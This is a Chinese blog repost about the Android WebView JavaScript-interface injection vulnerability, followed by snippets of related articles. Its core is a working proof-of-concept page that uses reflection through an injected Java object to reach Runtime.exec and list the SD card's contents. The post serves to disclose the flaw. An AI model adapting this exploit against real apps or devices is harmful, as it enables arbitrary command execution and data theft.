Android WebView的Js对象注入漏洞解决方案

http://blog.csdn.net/leehong2005/article/details/11808557/

webview调用以下文件,就可以打印sdcard 文件名

 1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 2 <html xmlns="http://www.w3.org/1999/xhtml">
 3  <head>
 4   <title> new document </title>
 5   <script >
 6    var i=0;
 7   function getContents(inputStream)  {
 8         var contents = ""+i;
 9         var b = inputStream.read();
10         var i = 1;
11         while(b != -1) {
12             var bString = String.fromCharCode(b);
13             contents += bString;
14             contents += "\n"
15             b = inputStream.read();
16         }
17         i=i+1;
18         return contents;
19        }
20
21   function execute(cmdArgs){
22          for (var obj in window) {
23             console.log(obj);
24             if(window[obj]!=null)
25             if ("getClass" in window[obj]) {
26                 console.log("come to here");
27                 //alert(obj);.
28                 return window[obj].getClass().forName("java.lang.Runtime").
29                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
30              }
31          }
32     }
33     var p = execute(["ls","/mnt/sdcard/"]);
34     console.log("come to here  2");
35
36     document.write(getContents(p.getInputStream()));
37   </script>
38   <meta name="generator" content="editplus" />
39   <meta name="author" content="" />
40   <meta name="keywords" content="" />
41   <meta name="description" content="" />
42  </head>
43
44  <body>
45
46  </body>
47 </html>
时间: 2024-10-12 10:37:10

Android WebView的Js对象注入漏洞解决方案的相关文章

android WebView详解,常见漏洞详解和安全源码(下)

上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http://blog.csdn.net/self_study/article/details/55046348 对技术感兴趣的同鞋加群 544645972 一起交流. WebView 常见漏洞 WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我-- WebView

android WebView详解,常见漏洞详解和安全源码

这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 由于博客内容长度,这次将分为上下两篇,上篇详解 WebView 的使用,下篇讲述 WebView 的漏洞和坑,以及修复源码的解析. 下篇:android WebView详解,常见漏洞详解和安全源码(下) 转载请注明出处:http://blog.csdn.net/self_study/article/details/54928371. 对技术感兴趣的同鞋加群 54

[Android]Webview中JS接口调用Java-版本问题

问题: The javascript to java bridge on 2.3 Gingerbread is causing crashes. This is 100% reproducible using the WebViewDemo application from here: http://code.google.com/p/apps-for-android/source/browse/#svn/trunk/Samples/WebViewDemo. Note: The project

Codeigniter 利用加密Key(密钥)的对象注入漏洞

http://drops.wooyun.org/papers/1449 原文链接:http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/ 0x00 背景 大家好,Codeigniter 是我最喜爱的PHP框架之一.和别人一样,我在这个框架中学习了PHP MVC编程.今天,我决定来分析一下Codeigniter的PHP 对象注入漏洞. 我在接下来的叙述中会把重点放在Codeig

Android WebView与JS的交互方式 最全面汇总

前言 现在很多App里都内置了Web网页(Hyprid App),比如说很多电商平台,淘宝.京东.聚划算等等,如下图 上述功能是由Android的WebView实现的,其中涉及到Android客户端与Web网页交互的实现 今天我将全面介绍Android通过WebView与JS交互的全面方式 阅读本文前请先阅读:Android开发:最全面.最易懂的Webview详解 目录 1. 交互方式总结 Android与JS通过WebView互相调用方法,实际上是: Android去调用JS的代码 JS去调用

android webview和js的交互

第一步: mainfest.xml中加入网络权限 <use-permission android:name="android.permission.INTERNET"/> 如果是访问本地的那就不需要加这个权限了 第二步: 加载本地写好的html文件(定义好js中提供给android调用的方法funFromjs(),和android提供给js调用的对象接口) fun1FromAndroid(String name)),放在assets目录下. eg. <body>

android webview与js简单的交互方案

最近研究webview与js交互,看了几个开源库实现,感觉不尽如人意,存在主要问题是,耦合较高,使用不够简洁,后来参考Uri设定规则,格局Uri类似协议自定义了类似的js交互协议 比较简洁,自定义协议内容样式如:jsbridge://android-app/method123?a=123&b=345#jsMethod1(p1,p2) 协议说明: scheme定义为jsbridge,用于区分别的网络请求(http),authority定义为android-app,区分不同平台处理path定义为 调

解析PHP对象注入漏洞

 0.前言 逛乌云知识库的时候看到一篇有趣的译文:http://drops.wooyun.org/papers/4820. 说的是一种注入方式,叫对象注入.对象也能注入? 是的,只要是存在污染数据,没有什么是不可能注入的,但是这个漏洞有点太古怪了,所以我觉得有趣. 1.原理 在程序编写的时候,往往需要序列化一些运行时数据,所谓序列化就是按照一定的格式将运行时数据写入本地文件.这样做可以对数据进行本地保存,用的时候直接读文件就可以把运行时产生的数据读出.在PHP中就是serialize和uns

android webview与js交互(动态添加js)

1.本地html与本地html里的js交互 2.本地html与本地js交互 3.网络html与网络js交互 4.网络html与本地js交互 5.各个情况动态添加js 以上5点都可以用一种方式来模拟,在本篇中采用本地html与本地js交互 (包含动态添加js的操作) 6.拦截url请求(在webview加载完成以后,触发的请求url) 7.拦截url请求后返回自己封装的数据(基于第6点,加载完成后,触发一些请求数据的url时拦截并自己封装数据返回给webview) 注:6.7点将在下一篇博客介绍